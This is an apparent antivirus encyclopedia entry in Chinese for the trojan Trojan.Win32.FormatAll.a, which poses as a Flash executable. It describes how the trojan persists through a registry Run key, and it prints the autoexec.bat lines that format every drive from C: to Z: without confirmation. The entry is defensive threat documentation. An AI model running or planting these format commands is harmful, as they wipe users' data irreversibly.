病毒名称(中文):
病毒别名:
Trojan.Win32.FormatAll.a[AVP]
威胁级别:
★☆☆☆☆
病毒类型:
木马程序
病毒长度:
28672
影响系统:
Win9xWinNTWin2000WinXPWin2003
病毒行为:
编写工具：
VisualBasic6.0
传染条件:
文件图标为flash可执行文件图标，借此引诱用户执行。
发作条件:
系统修改:
A、将自己拷贝到%System%flash.exe
B、在系统根目录下生成autoexec.bat文件，其中内容如下：
@echooff
@echoy|formatc:/v:lb/q
@cls
@echoy|formatd:/v:LB/q
@cls
@echoy|formate:/v:LB/q
@cls
………………
@echoy|formatz:/v:LB/q
@cls
C、在注册表的主键:
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun
中添加如下键值:
"flash"="%System%flash.exe"
发作现象:
运行后立即重启，当系统再次启动时执行autoexec.bat，格式化所有分区，并且格式化前不需要按键确认，导致无法进入系统。
假如autoexec.bat由于某些原因没有被正常执行，将进入windows，然后会再次执行被拷贝到%system%目录下的flash.exe文件，导致系统再次重启。
非凡说明:
